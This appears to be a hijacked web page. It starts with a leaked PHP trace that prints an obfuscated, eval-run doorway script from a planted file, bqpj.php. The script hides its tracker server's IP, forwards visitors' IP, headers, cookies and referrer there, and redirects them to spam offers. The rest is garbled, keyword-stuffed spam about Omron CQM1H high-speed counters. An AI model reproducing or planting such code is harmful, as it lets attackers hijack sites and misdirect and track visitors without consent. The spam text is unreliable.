dDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0018530992__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0036666360eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if ($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1
Omron Cqm1h High Speed Counter

Omron Cqm1h High Speed Counter

Omron, E5CSV-Q1T-F, Multifunctional Temperature Controller 100-240vac NEW. CJ1W-CT021 2-channel High-speed Counter Unit Operation Manual: W401-E1-05: CJ1W-CTL41-E 4-channel High-speed Counter Unit Operation Manual: W02E-EN-01: CJ1W-TC___ Temperature Control Units Operation Manual: W396-E1-03: CJ1W-CTS21 Synchronous Serial Interface (SSI) Unit Instruction Sheet : CJ1W-NC214/414/234/434 Position Control Units Operation. I have used both the DL05 and DL06 PLCs. Omron 3G2A5-CT012 New and Used available. Electric Guitars-Ibanez PS-10 og3780 Free shipping ofvttl2971-fair prices - www. C200H-CT001 Omron C200H High Speed Counter up to 50 kHz, 5 meters (C200HCT001), PLC Unlimited Buy today email or Call 800-479-8084. PLC Store Other Items Feedbacks About Us Contact Us Add To Favorites Product Description The CX-One is a comprehensive software package that integrates PLC Programming Software with Support Software for setting up Networks, Programmable Terminals, Servo Systems, Inverters, and Temperature Controllers. The present value with respect to the measurement or display range (full scale) can be viewed on a bar display. This unit is available for CJ/NJ controller. 127, Jakarta, Indonesia Automation Jaya adalah Usaha Dagang yang bergerak di bidang Electrical yang berkonsentrasi pada bidang Automation dan Industrial Supply Produk lainnya. Omron Electronic Components is the Americas subsidiary of Omron Corporation, a $7 billion global leading supplier of electronics and control system components and services. Omron Function Blocks enable you to control and monitor up to 31 inverters in real-time simply by configuration of parameters. Lektronix repair Omron CQM1H-CTB41 PLCs. CPM2C-S1 0C offers high-speed local control, remote expandability in a very compact package. Omron H7cr-b-500 Manual introduction to plc omron CP1E. Omron C200HE PDF User's Manual Download & Online Preview. ROM-JD-B中文资料 - CQM1H Programmable Controller The CQM1H’s rack-less modular design lets you cust. Inner Boards can be mounted in slot 1 or slot 2 of a CQM1H-CPU51 or CQM1H-CPU61. Call now, fast delivery worldwide. Hi All Do CQM1 CPU 21 have high speed counter? What are the in put pin numbers? I need to connect a rotary encoder if you have sample program please give me. Moreover, because OMRON is con-stantly striving to improve its high-quality products, the information contained in this manual is subject to change without notice. Kita ketahui, bahwa instruksi timer maupun counter ini adalah instruksi penting dalam pemrograman PLC yang umumnya digunakan dalam otomasi industri. OMRON CJ2M-CPU/CJ2H-CPU inherit and upgrade CJ1's small, fast, flexible! What’s more, it has Ethernet high speed and large capacity EtherNet/IP standard network controller. For your security, you are about to be logged out HIGH SPEED COUNTER 500Khz 2 CH. 00 PS Yes CQM1H-MAB42* Analog I/O board $672. NEX Instrument Inc is not an authorized dealer, agent or associate of any of the designers, brands, or manufacturers, the products of which are offered for sale on www. I have CQM1-CPU21 and use rotary encoder AB phase and use UP/Down Counter with Software reset. Sebenarnya, untuk instruksi timer dan counter, ada macam-macam jenisnya, misalnya reversible counter (RCNT), interval timer (STIM) , long timer (TIML), high-speed timer (TIMH). You must read this section and understand the information contained before attempting to set up or operate a High-speed Counter Unit and PLC system. View product details of Omron PLC CPM1H 